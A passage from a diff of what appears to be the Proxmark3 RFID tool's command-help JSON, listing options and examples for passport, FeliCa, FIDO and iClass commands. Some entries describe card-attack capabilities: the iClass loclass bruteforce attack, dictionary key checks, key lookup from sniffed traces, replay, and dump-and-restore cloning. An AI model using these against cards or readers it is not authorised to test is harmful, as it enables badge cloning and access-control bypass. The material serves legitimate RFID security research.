writedsfid", + "description": "write dsfid on card", + "notes": [ + "hf 15 writedsfid -* --dsfid 12", + "hf 15 writedsfid -u e011223344556677 --dsfid 12" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid full uid, 8 bytes", + "--ua unaddressed mode", + "-* scan for tag", + "-2 use slower '1 out of 256' mode", + "-o, --opt set option flag (needed for ti)", + "--dsfid dsfid number (0-255)" + ], + "usage": "hf 15 writedsfid [-h*2o] [-u ] [--ua] --dsfid " + }, + "hf emrtd help": { + "command": "hf emrtd help", + "description": "help this help info display info about an emrtd list list iso 14443a/7816 history --------------------------------------------------------------------------------------- hf emrtd dump available offline: no dump all files on an emrtd", + "notes": [ + "hf emrtd dump" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-n, --documentnumber document number, up to 9 chars", + "-d, --dateofbirth date of birth in yymmdd format", + "-e, --expiry expiry in yymmdd format", + "-m, --mrz <[0-9a-z<]> 2nd line of mrz, 44 chars", + "--path save dump to the given dirpath" + ], + "usage": "hf emrtd dump [-h] [-n ] [-d ] [-e ] [-m <[0-9a-z<]>] [--path ]" + }, + "hf emrtd info": { + "command": "hf emrtd info", + "description": "display info about an emrtd", + "notes": [ + "hf emrtd info" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-n, --documentnumber document number, up to 9 chars", + "-d, --dateofbirth date of birth in yymmdd format", + "-e, --expiry expiry in yymmdd format", + "-m, --mrz <[0-9a-z<]> 2nd line of mrz, 44 chars (passports only)", + "--path display info from offline dump stored in dirpath" + ], + "usage": "hf emrtd info [-h] [-n ] [-d ] [-e ] [-m <[0-9a-z<]>] [--path ]" + }, + "hf emrtd list": { + "command": "hf emrtd list", + "description": "alias of `trace list -t 7816` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf emrtd list -f -> show frame delay times", + "hf emrtd list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf emrtd list [-h1fcrux] [--dict ]..." + }, + "hf epa help": { + "command": "hf epa help", + "description": "help this help --------------------------------------------------------------------------------------- hf epa cnonces available offline: no tries to collect nonces when doing part of pace protocol.", + "notes": [ + "hf epa cnonces --size 4 --num 4 --delay 1" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--size nonce size", + "--num number of nonces to collect", + "-d, --delay delay between attempts" + ], + "usage": "hf epa cnonces [-h] --size --num -d " + }, + "hf epa preplay": { + "command": "hf epa preplay", + "description": "perform pace protocol by replaying given apdus", + "notes": [ + "hf epa preplay --mse 0022c1a4 --get 1068000000 --map 1086000002 --pka 1234abcdef --ma 1a2b3c4d" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--mse msesa apdu", + "--get gn apdu", + "--map map apdu", + "--pka pka apdu", + "--ma ma apdu" + ], + "usage": "hf epa preplay [-h] --mse --get --map --pka --ma " + }, + "hf felica auth1": { + "command": "hf felica auth1", + "description": "initiate mutual authentication. this command must always be executed before auth2 command and mutual authentication is achieve only after auth2 command has succeeded. incomplete / experimental command!!!", + "notes": [ + "hf felica auth1 --an 01 --acl 0000 --sn 01 --scl 8b00 --key aaaaaaaaaaaaaaaabbbbbbbbbbbbbbbb", + "hf felica auth1 --an 01 --acl 0000 --sn 01 --scl 8b00 --key aaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbaaaaaaaaaaaaaaaa", + "hf felica auth1 -i 11100910c11bc407 --an 01 --acl 0000 --sn 01 ..scl 8b00 --key aaaaaaaaaaaaaaaabbbbbbbbbbbbbbbb" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--an number of areas, 1 byte", + "--acl area code list, 2 bytes", + "-i set custom idm", + "--sn number of service, 1 byte", + "--scl service code list, 2 bytes", + "-k, --key 3des key, 16 bytes", + "-v, --verbose verbose helptext" + ], + "usage": "hf felica auth1 [-hv] [--an ] [--acl ] [-i ] [--sn ] [--scl ] [-k ]" + }, + "hf felica auth2": { + "command": "hf felica auth2", + "description": "complete mutual authentication. this command can only be executed subsquent to auth1 incomplete / experimental command!!! experimental command - m2c/p2c will be not checked", + "notes": [ + "hf felica auth2 --cc 0102030405060708 --key aaaaaaaaaaaaaaaabbbbbbbbbbbbbbbb", + "hf felica auth2 -i 11100910c11bc407 --cc 0102030405060708 --key aaaaaaaaaaaaaaaabbbbbbbbbbbbbbbb" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-i set custom idm", + "-c, --cc m3c card challenge, 8 bytes", + "-k, --key 3des m3c decryption key, 16 bytes", + "-v, --verbose verbose helptext" + ], + "usage": "hf felica auth2 [-hv] [-i ] [-c ] [-k ]" + }, + "hf felica help": { + "command": "hf felica help", + "description": "help this help ----------- ----------------------- general ----------------------- list list iso 18092/felica history ----------- ----------------------- felica standard ----------------------- ----------- ----------------------- felica light ----------------------- --------------------------------------------------------------------------------------- hf felica list available offline: yes alias of `trace list -t felica` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf felica list -f -> show frame delay times", + "hf felica list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf felica list [-h1fcrux] [--dict ]..." + }, + "hf felica info": { + "command": "hf felica info", + "description": "reader for felica based tags", + "notes": [ + "hf felica info" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf felica info [-h]" + }, + "hf felica litedump": { + "command": "hf felica litedump", + "description": "dump iso/18092 felica lite tag. it will timeout after 200sec", + "notes": [ + "hf felica litedump" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf felica litedump [-h]" + }, + "hf felica litesim": { + "command": "hf felica litesim", + "description": "emulating iso/18092 felica lite tag", + "notes": [ + "hf felica litesim -u 1122334455667788" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid uid/ndef2 8 hex bytes" + ], + "usage": "hf felica litesim [-h] -u " + }, + "hf felica raw": { + "command": "hf felica raw", + "description": "send raw hex data to tag", + "notes": [ + "hf felica raw -cs 20", + "hf felica raw -cs 2008" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a active signal field on without select", + "-c calculate and append crc", + "-k keep signal field on after receive", + "-n number of bits", + "-r do not read response", + "-s active signal field on with select", + " raw bytes to send" + ], + "usage": "hf felica raw [-hackrs] [-n ] []..." + }, + "hf felica rdbl": { + "command": "hf felica rdbl", + "description": "use this command to read block data from authentication-not-required service. - mode shall be mode0. - successful == block data - unsuccessful == status flag1 and flag2", + "notes": [ + "hf felica rdbl --sn 01 --scl 8b00 --bn 01 --ble 8000", + "hf felica rdbl --sn 01 --scl 4b18 --bn 01 --ble 8000 -b", + "hf felica rdbl -i 01100910c11bc407 --sn 01 --scl 8b00 --bn 01 --ble 8000" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b get all block list elements 00 -> ff", + "-i set custom idm", + "-l, --long use 3 byte block list element block number", + "--sn number of service", + "--scl service code list", + "--bn number of block", + "--ble block list element (def 2|3 bytes)", + "-v, --verbose verbose helptext" + ], + "usage": "hf felica rdbl [-hblv] [-i ] [--sn ] [--scl ] [--bn ] [--ble ]" + }, + "hf felica reader": { + "command": "hf felica reader", + "description": "act as a iso 18092 / felica reader. look for felica tags until enter or the pm3 button is pressed", + "notes": [ + "hf felica reader -@ -> continuous mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --silent silent (no messages)", + "-@ optional - continuous reader mode" + ], + "usage": "hf felica reader [-hs@]" + }, + "hf felica resetmode": { + "command": "hf felica resetmode", + "description": "use this command to reset mode to mode 0.", + "notes": [ + "hf felica resetmode", + "hf felica resetmode -r 0001", + "hf felica resetmode -i 11100910c11bc407" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-i set custom idm", + "-r set custom reserve", + "-v, --verbose verbose helptext" + ], + "usage": "hf felica resetmode [-hv] [-i ] [-r ]" + }, + "hf felica rqresponse": { + "command": "hf felica rqresponse", + "description": "use this command to verify the existence of a card and its mode. - current mode of the card is returned", + "notes": [ + "hf felica rqresponse -i 11100910c11bc407" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-i set custom idm" + ], + "usage": "hf felica rqresponse [-h] [-i ]" + }, + "hf felica rqservice": { + "command": "hf felica rqservice", + "description": "use this command to verify the existence of area and service, and to acquire key version: - when the specified area or service exists, the card returns key version. - when the specified area or service does not exist, the card returns ffffh as key version. for node code list of a command packet, area code or service code of the target of acquisition of key version shall be enumerated in little endian format. if key version of system is the target of acquisition, ffffh shall be specified in the command packet.", + "notes": [ + "hf felcia rqservice --node 01 --code ffff", + "hf felcia rqservice -a --code ffff", + "hf felica rqservice -i 011204126417e405 --node 01 --code ffff" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --all auto node number mode, iterates through all nodes 1 < n < 32", + "-n, --node number of node", + "-c, --code node code list (little endian)", + "-i, --idm use custom idm" + ], + "usage": "hf felica rqservice [-ha] [-n ] [-c ] [-i ]" + }, + "hf felica rqspecver": { + "command": "hf felica rqspecver", + "description": "use this command to acquire the version of card os. response: - format version: fixed value 00h. provided only if status flag1 = 00h - basic version: each value of version is expressed in bcd notation. provided only if status flag1 = 00h - number of option: value = 0: aes card, value = 1: aes/des card. provided only if status flag1 = 00h - option version list: provided only if status flag1 = 00h - aes card: not added - aes/des card: des option version is added - bcd notation", + "notes": [ + "hf felica rqspecver", + "hf felica rqspecver -r 0001", + "hf felica rqspecver -i 11100910c11bc407" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-i set custom idm", + "-r set custom reserve", + "-v, --verbose verbose helptext" + ], + "usage": "hf felica rqspecver [-hv] [-i ] [-r ]" + }, + "hf felica rqsyscode": { + "command": "hf felica rqsyscode", + "description": "use this command to acquire system code registered to the card. - if a card is divided into more than one system, this command acquires system code of each system existing in the card.", + "notes": [ + "hf felica rqsyscode", + "hf felica rqsyscode -i 11100910c11bc407" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-i set custom idm" + ], + "usage": "hf felica rqsyscode [-h] [-i ]" + }, + "hf felica scsvcode": { + "command": "hf felica scsvcode", + "description": "feature not implemented yet. feel free to contribute!", + "notes": [ + "hf felica scsvcode" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf felica scsvcode [-h]" + }, + "hf felica sniff": { + "command": "hf felica sniff", + "description": "collect data from the field and save into command buffer. buffer accessible from `hf felica list`", + "notes": [ + "hf felica sniff", + "hf felica sniff -s 10 -t 19" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --samples samples to skip", + "-t, --trig triggers to skip" + ], + "usage": "hf felica sniff [-h] [-s ] [-t ]" + }, + "hf felica wrbl": { + "command": "hf felica wrbl", + "description": "use this command to write block data to authentication-not-required service. - mode shall be mode0. - un-/ssuccessful == status flag1 and flag2", + "notes": [ + "hf felica wrbl --sn 01 --scl cb10 --bn 01 --ble 8001 -d 0102030405060708090a0b0c0d0e0f10", + "hf felica wrbl -i 01100910c11bc407 --sn 01 --scl cb10 --bn 01 --ble 8001 -d 0102030405060708090a0b0c0d0e0f10" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-d, --data data, 16 hex bytes", + "-i set custom idm", + "--sn number of service", + "--scl service code list", + "--bn number of block", + "--ble block list element (def 2|3 bytes)", + "-v, --verbose verbose helptext" + ], + "usage": "hf felica wrbl [-hv] [-d ] [-i ] [--sn ] [--scl ] [--bn ] [--ble ]" + }, + "hf fido assert": { + "command": "hf fido assert", + "description": "execute a fido2 get assertion command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`. - needs if `rk` option is `false` (authenticator doesn't store credential to its memory)", + "notes": [ + "hf fido assert -> default parameters file `fido2_defparams.json`", + "hf fido assert -f test.json -l -> use parameters file `text.json` and add to request credentialid" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu reqests and responses", + "-v, --verbose show technical data. vv - show full certificates data", + "-c, --cbor show cbor decoded data", + "-l, --list add credentialid from json to allowlist", + "-f, --file parameter json file name" + ], + "usage": "hf fido assert [-havcl] [-f ]" + }, + "hf fido auth": { + "command": "hf fido auth", + "description": "initiate a u2f token authentication. needs key handle and two 32-byte hash numbers. key handle(var 0..255), challenge parameter (32b) and application parameter (32b) the default config filename is `fido2_defparams.json`", + "notes": [ + "hf fido auth --kh 000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f -> execute command with 2 parameters, filled 0x00 and key handle", + "hf fido auth", + "--kh 000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f", + "--cp 000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f", + "--ap 000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f -> execute command with parameters" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu reqests and responses", + "-v, --verbose show technical data", + "default mode: dont-enforce-user-presence-and-sign", + "-u, --user mode: enforce-user-presence-and-sign", + "-c, --check mode: check-only", + "-f, --file json input file name for parameters", + "-k, --key public key to verify signature", + "--kh key handle (var 0..255b)", + "--cp challenge parameter (1..16 chars)", + "--ap application parameter (1..16 chars)", + "--cpx challenge parameter (32 bytes hex)", + "--apx application parameter (32 bytes hex)" + ], + "usage": "hf fido auth [-havuc] default mode: [-f ] [-k ] [--kh ] [--cp ] [--ap ] [--cpx ] [--apx ]" + }, + "hf fido help": { + "command": "hf fido help", + "description": "help this help. list list iso 14443a history --------------------------------------------------------------------------------------- hf fido list available offline: yes alias of `trace list -t 14a` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf fido list -f -> show frame delay times", + "hf fido list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf fido list [-h1fcrux] [--dict ]..." + }, + "hf fido info": { + "command": "hf fido info", + "description": "get info from fido tags", + "notes": [ + "hf fido info" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf fido info [-h]" + }, + "hf fido make": { + "command": "hf fido make", + "description": "execute a fido2 make credential command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`.", + "notes": [ + "hf fido make -> use default parameters file `fido2_defparams.json`", + "hf fido make -f test.json -> use parameters file `text.json`" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu reqests and responses", + "-v, --verbose show technical data. vv - show full certificates data", + "-t, --tlv show der certificate contents in tlv representation", + "-c, --cbor show cbor decoded data", + "-f, --file parameter json file name" + ], + "usage": "hf fido make [-havtc] [-f ]" + }, + "hf fido reg": { + "command": "hf fido reg", + "description": "initiate a u2f token registration. needs two 32-byte hash numbers. challenge parameter (32b) and application parameter (32b). the default config filename is `fido2_defparams.json`", + "notes": [ + "hf fido reg -> execute command with 2 parameters, filled 0x00", + "hf fido reg --cp s0 --ap s1 -> execute command with plain parameters", + "hf fido reg --cpx 000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f --apx 000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f", + "hf fido reg -f fido2-params -> execute command with custom config file" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu requests and responses", + "-v, --verbose show technical data. vv - show full certificates data", + "-t, --tlv show der certificate contents in tlv representation", + "-f, --file json input file name for parameters", + "--cp challenge parameter (1..16 chars)", + "--ap application parameter (1..16 chars)", + "--cpx challenge parameter (32 bytes hex)", + "--apx application parameter (32 bytes hex)" + ], + "usage": "hf fido reg [-havt] [-f ] [--cp ] [--ap ] [--cpx ] [--apx ]" + }, + "hf help": { + "command": "hf help", + "description": "-------- ----------------------- high frequency ----------------------- 14a { iso14443a rfids... } 14b { iso14443b rfids... } 15 { iso15693 rfids... } epa { german identification card... } emrtd { machine readable travel document... } felica { iso18092 / felica rfids... } fido { fido and fido2 authenticators... } jooki { jooki rfids... } iclass { iclass rfids... } legic { legic rfids... } lto { lto cartridge memory rfids... } mf { mifare rfids... } mfp { mifare plus rfids... } mfu { mifare ultralight rfids... } mfdes { mifare desfire rfids... } seos { seos rfids... } st25ta { st25ta rfids... } thinfilm { thinfilm rfids... } topaz { topaz (nfc type 1) rfids... } waveshare { waveshare nfc epaper... } ----------- --------------------- general --------------------- help this help list list protocol data in trace buffer search search for known hf tags --------------------------------------------------------------------------------------- hf list available offline: yes alias of `trace list -t raw` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf list -f -> show frame delay times", + "hf list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf list [-h1fcrux] [--dict ]..." + }, + "hf iclass calcnewkey": { + "command": "hf iclass calcnewkey", + "description": "calculate new keys for updating (blocks 3 & 4)", + "notes": [ + "hf iclass calcnewkey --old 1122334455667788 --new 2233445566778899 --csn deadbeafdeadbeaf --elite2 -> e key to e key given csn", + "hf iclass calcnewkey --old 1122334455667788 --new 2233445566778899 --elite -> std key to e key read csn", + "hf iclass calcnewkey --old 1122334455667788 --new 2233445566778899 -> std to std read csn" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--old specify key as 8 hex bytes", + "--oki old key index to select key from memory 'hf iclass managekeys'", + "--new specify key as 8 hex bytes", + "--nki new key index to select key from memory 'hf iclass managekeys'", + "--csn specify a card serial number (csn) to diversify the key (if omitted will attempt to read a csn)", + "--elite elite computations applied to new key", + "--elite2 elite computations applied to both old and new key" + ], + "usage": "hf iclass calcnewkey [-h] [--old ] [--oki ] [--new ] [--nki ] [--csn ] [--elite] [--elite2]" + }, + "hf iclass chk": { + "command": "hf iclass chk", + "description": "checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iclass tag", + "notes": [ + "hf iclass chk -f iclass_default_keys.dic", + "hf iclass chk -f iclass_default_keys.dic --elite" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file dictionary file with default iclass keys", + "--credit key is assumed to be the credit key", + "--elite elite computations applied to key", + "--raw no computations applied to key (raw)" + ], + "usage": "hf iclass chk [-h] -f [--credit] [--elite] [--raw]" + }, + "hf iclass configcard": { + "command": "hf iclass configcard", + "description": "manage reader configuration card via cardhelper, the generated config card will be uploaded to device emulator memory. you can start simulating `hf iclass sim -t 3` or use the emul commands", + "notes": [ + "hf iclass configcard -l -> download config card settings", + "hf iclass configcard -p -> print all config cards", + "hf iclass configcard --ci 1 -> view config card setting in slot 1", + "hf iclass configcard -g --ci 0 -> generate config file from slot 0" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--ci use config slot at index", + "--ki key index to select key from memory 'hf iclass managekeys'", + "-g generate card dump file", + "-l load available cards", + "-p print available cards" + ], + "usage": "hf iclass configcard [-hglp] [--ci ] [--ki ]" + }, + "hf iclass decrypt": { + "command": "hf iclass decrypt", + "description": "3des decrypt data this is a naive implementation, it tries to decrypt every block after block 6. correct behaviour would be to decrypt only the application areas where the key is valid, which is defined by the configuration block. obs! in order to use this function, the file `iclass_decryptionkey.bin` must reside in the resources directory. the file should be 16 bytes binary data or... make sure your cardhelper is placed in the sim module", + "notes": [ + "hf iclass decrypt -f hf-iclass-aa162d30f8ff12f1-dump.bin", + "hf iclass decrypt -f hf-iclass-aa162d30f8ff12f1-dump.bin -k 000102030405060708090a0b0c0d0e0f", + "hf iclass decrypt -d 1122334455667788 -k 000102030405060708090a0b0c0d0e0f" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file filename of dump file (bin/eml/json)", + "-d, --data 3des encrypted data", + "-k, --key 3des transport key", + "-v, --verbose verbose output", + "--d6 decode as block 6" + ], + "usage": "hf iclass decrypt [-hv] [-f ] [-d ] [-k ] [--d6]" + }, + "hf iclass eload": { + "command": "hf iclass eload", + "description": "load emulator memory with data from (bin/eml/json) iclass dump file", + "notes": [ + "hf iclass eload -f hf-iclass-aa162d30f8ff12f1-dump.bin", + "hf iclass eload -f hf-iclass-aa162d30f8ff12f1-dump.eml" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file filename of dump (bin/eml/json)" + ], + "usage": "hf iclass eload [-h] -f " + }, + "hf iclass encode": { + "command": "hf iclass encode", + "description": "encode binary wiegand to block 7", + "notes": [ + "hf iclass encode --bin 10001111100000001010100011 --ki 0 -> fc 31 cn 337", + "hf iclass encode --bin 10001111100000001010100011 --ki 0 --elite -> fc 31 cn 337, writing w elite key" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--bin binary string i.e 0001001001", + "--ki key index to select key from memory 'hf iclass managekeys'", + "--credit key is assumed to be the credit key", + "--elite elite computations applied to key", + "--raw no computations applied to key", + "--enckey 3des transport key, 16 hex bytes" + ], + "usage": "hf iclass encode [-h] --bin --ki [--credit] [--elite] [--raw] [--enckey ]" + }, + "hf iclass encrypt": { + "command": "hf iclass encrypt", + "description": "3des encrypt data obs! in order to use this function, the file 'iclass_decryptionkey.bin' must reside in the resources directory. the file should be 16 hex bytes of binary data", + "notes": [ + "hf iclass encrypt -d 0102030405060708", + "hf iclass encrypt -d 0102030405060708 -k 00112233445566778899aabbccddeeff" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --data data to encrypt", + "-k, --key 3des transport key", + "-v, --verbose verbose output" + ], + "usage": "hf iclass encrypt [-hv] -d [-k ]" + }, + "hf iclass esave": { + "command": "hf iclass esave", + "description": "save emulator memory to file. if filename is not supplied, csn will be used.", + "notes": [ + "hf iclass esave", + "hf iclass esave -f hf-iclass-dump", + "hf iclass esave -s 2048 -f hf-iclass-dump" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file filename of dump file", + "-s, --size <256|2048> number of bytes to save (default 256)" + ], + "usage": "hf iclass esave [-h] [-f ] [-s <256|2048>]" + }, + "hf iclass eview": { + "command": "hf iclass eview", + "description": "display emulator memory. number of bytes to download defaults to 256. other value is 2048.", + "notes": [ + "hf iclass eview", + "hf iclass eview -s 2048", + "hf iclass eview -s 2048 -v" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --size <256|2048> number of bytes to save (default 256)", + "-v, --verbose verbose output" + ], + "usage": "hf iclass eview [-hv] [-s <256|2048>]" + }, + "hf iclass help": { + "command": "hf iclass help", + "description": "----------- --------------------- operations --------------------- help this help info tag information list list iclass history ----------- --------------------- recovery --------------------- loclass use loclass to perform bruteforce reader attack lookup uses authentication trace to check for key in dictionary file ----------- --------------------- simulation --------------------- ----------- --------------------- utils --------------------- configcard reader configuration card calcnewkey calc diversified keys (blocks 3 & 4) to write new keys encode encode binary wiegand to block 7 encrypt encrypt given block data decrypt decrypt given block data or tag dump file managekeys manage keys to use with iclass commands view display content from tag dump file --------------------------------------------------------------------------------------- hf iclass dump available offline: no dump all memory from a iclass tag", + "notes": [ + "hf iclass dump -k 001122334455667b", + "hf iclass dump -k aaaaaaaaaaaaaaaa --credit 001122334455667b", + "hf iclass dump -k aaaaaaaaaaaaaaaa --elite", + "hf iclass dump --ki 0", + "hf iclass dump --ki 0 --ci 2" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file save filename", + "-k, --key debit key or nr/mac for replay as 8 hex bytes", + "--ki debit key index to select key from memory 'hf iclass managekeys'", + "--credit credit key as 8 hex bytes", + "--ci credit key index to select key from memory 'hf iclass managekeys'", + "--elite elite computations applied to key", + "--raw raw, the key is interpreted as raw block 3/4", + "--nr replay of nr/mac" + ], + "usage": "hf iclass dump [-h] [-f ] [-k ] [--ki ] [--credit ] [--ci ] [--elite] [--raw] [--nr]" + }, + "hf iclass info": { + "command": "hf iclass info", + "description": "act as a iclass reader. reads / fingerprints a iclass tag.", + "notes": [ + "hf iclass info" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "hf iclass info [-h]" + }, + "hf iclass list": { + "command": "hf iclass list", + "description": "alias of `trace list -t iclass` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf iclass list -f -> show frame delay times", + "hf iclass list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf iclass list [-h1fcrux] [--dict ]..." + }, + "hf iclass loclass": { + "command": "hf iclass loclass", + "description": "execute the offline part of loclass attack an iclass dumpfile is assumed to consist of an arbitrary number of malicious csns, and their protocol responses the binary format of the file is expected to be as follows: <8 byte csn><8 byte cc><4 byte nr><4 byte mac> <8 byte csn><8 byte cc><4 byte nr><4 byte mac> <8 byte csn><8 byte cc><4 byte nr><4 byte mac> ... totalling n*24 bytes", + "notes": [ + "hf iclass loclass -f iclass_dump.bin", + "hf iclass loclass --test" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file filename with nr/mac data from `hf iclass sim -t 2`", + "--test perform self-test", + "--long perform self-test, including long ones" + ], + "usage": "hf iclass loclass [-h] [-f ] [--test] [--long]" + }, + "hf iclass lookup": { + "command": "hf iclass lookup", + "description": "lookup keys takes some sniffed trace data and tries to verify what key was used against a dictionary file", + "notes": [ + "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic", + "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic --elite" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file dictionary file with default iclass keys", + "--csn specify csn as 8 hex bytes", + "--epurse specify epurse as 8 hex bytes", + "--macs macs", + "--elite elite computations applied to key", + "--raw no computations applied to key" + ], + "usage": "hf iclass lookup [-h] -f --csn --epurse --macs [--elite] [--raw]" + }, + "hf iclass managekeys": { + "command": "hf iclass managekeys", + "description": "manage iclass keys in client memory", + "notes": [ + "hf iclass managekeys --ki 0 -k 1122334455667788 -> set key 1122334455667788 at index 0", + "hf iclass managekeys -f mykeys.bin --save -> save key file", + "hf iclass managekeys -f mykeys.bin --load -> load key file", + "hf iclass managekeys -p -> print keys" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file specify a filename for load / save operations", + "-k, --key access key as 8 hex bytes", + "--ki specify key index to set key in memory", + "--save save keys in memory to file specified by filename", + "--load load keys to memory from file specified by filename", + "-p, --print print keys loaded into memory" + ], + "usage": "hf iclass managekeys [-hp] [-f ] [-k ] [--ki ] [--save] [--load]" + }, + "hf iclass permutekey": { + "command": "hf iclass permutekey", + "description": "permute function from 'heart of darkness' paper.", + "notes": [ + "hf iclass permutekey --reverse --key 0123456789abcdef", + "hf iclass permutekey --key ff55330f0055330f" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --reverse reverse permuted key", + "--key input key, 8 hex bytes" + ], + "usage": "hf iclass permutekey [-hr] --key " + }, + "hf iclass rdbl": { + "command": "hf iclass rdbl", + "description": "read a iclass block from tag", + "notes": [ + "hf iclass rdbl -b 6 -k 0011223344556677", + "hf iclass rdbl -b 27 -k 0011223344556677 --credit", + "hf iclass rdbl -b 10 --ki 0" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --key access key as 8 hex bytes", + "--ki key index to select key from memory 'hf iclass managekeys'", + "-b, --block the block number to read", + "--credit key is assumed to be the credit key", + "--elite elite computations applied to key", + "--raw no computations applied to key", + "--nr replay of nr/mac", + "-v, --verbose verbose output" + ], + "usage": "hf iclass rdbl [-hv] [-k ] [--ki ] -b [--credit] [--elite] [--raw] [--nr]" + }, + "hf iclass reader": { + "command": "hf iclass reader", + "description": "act as a iclass reader. look for iclass tags until enter or the pm3 button is pressed", + "notes": [ + "hf iclass reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "hf iclass reader [-h@]" + }, + "hf iclass restore": { + "command": "hf iclass restore", + "description": "restore data from dumpfile onto a iclass tag", + "notes": [ + "hf iclass restore -f hf-iclass-aa162d30f8ff12f1-dump.bin --first 6 --last 18 --ki 0", + "hf iclass restore -f hf-iclass-aa162d30f8ff12f1-dump.bin --first 6 --last 18 --ki 0 --elite", + "hf iclass restore -f 